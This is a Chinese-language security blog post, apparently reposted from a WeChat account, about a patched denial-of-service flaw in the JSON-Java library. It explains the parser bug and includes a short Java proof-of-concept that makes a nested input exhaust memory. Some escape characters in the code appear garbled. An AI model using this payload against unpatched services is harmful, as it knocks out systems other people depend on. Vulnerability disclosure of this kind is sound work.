【CVE】DoS Vulnerability in JSON-JAVA

admin 2023年11月27日08:16:18评论15 views字数 1253阅读4分10秒阅读模式
免责声明本文所涉及的技术和方法仅供合法合规的目的参考和学习使用。严禁利用本文内容从事任何违法或未经授权的活动。如因个人非法使用所造成的任何不良后果,作者及本公众号概不负责

今天,继续分享一个有趣的漏洞,甚至可以打崩服务。

01

漏洞详情

01

【CVE】DoS Vulnerability in JSON-JAVA

ClusterFuzz 发现了 JSON-Java 中的拒绝服务漏洞。解析器中的错误意味着适度大小的输入字符串可能会导致使用无限量的内存。

有两个问题

(1) 解析器错误可用于规避检查,该检查旨在防止 JSON 对象中的键本身成为另一个 JSON 对象

(2) 如果某个键最终成为 JSON 对象,则会将其转换为字符串,并使用 转义特殊字符,包括 本身。因此,通过嵌套 JSON 对象,其中一个键是一个 JSON 对象,另一个键是一个 JSON 对象,依此类推,我们可以在转义字符串中获得指数数量的 字符

【CVE】DoS Vulnerability in JSON-JAVA

02

漏洞等级

02

【CVE】DoS Vulnerability in JSON-JAVA

- 由于这是一个已经修复的 DoS 漏洞,因此唯一可能产生的影响是尚未更新的现有二进制文件。

【CVE】DoS Vulnerability in JSON-JAVA

03

POC 证明

03

【CVE】DoS Vulnerability in JSON-JAVA
package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{"a":1}";
    }
    return "{"a":1;t�" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %sn", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %sn", output.toString().length(), output);
  }
}

运行时,报告输入字符串的长度为 367。然后,在长时间暂停后,程序在新的 JSONObject 内崩溃并出现 OutOfMemoryError。

【CVE】DoS Vulnerability in JSON-JAVA

04

深入分析

04

【CVE】DoS Vulnerability in JSON-JAVA

Patch Commit:

https://github.com/stleary/JSON-java/pull/759/commits/c8a9e15a57886dbf3e51cd450bde8e0c4599bff3

修复&测试

【CVE】DoS Vulnerability in JSON-JAVA

【CVE】DoS Vulnerability in JSON-JAVA

编译、调试

javac org/json/*.java -Xlint:unchecked
jar cf json-java.jar org/json/*.class org/json/*.java

通过绕过嵌套对象检查。

【CVE】DoS Vulnerability in JSON-JAVA

【CVE】DoS Vulnerability in JSON-JAVA

嵌套循环之后会产生非常多的

【CVE】DoS Vulnerability in JSON-JAVA

当执行一段时间,会出现heap 内存泄漏。

【CVE】DoS Vulnerability in JSON-JAVA

【CVE】DoS Vulnerability in JSON-JAVA
【CVE】DoS Vulnerability in JSON-JAVA

原文始发于微信公众号(一个不正经的黑客):【CVE】DoS Vulnerability in JSON-JAVA

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月27日08:16:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CVE】DoS Vulnerability in JSON-JAVAhttp://cn-sec.com/archives/2242229.html

发表评论

匿名网友 填写信息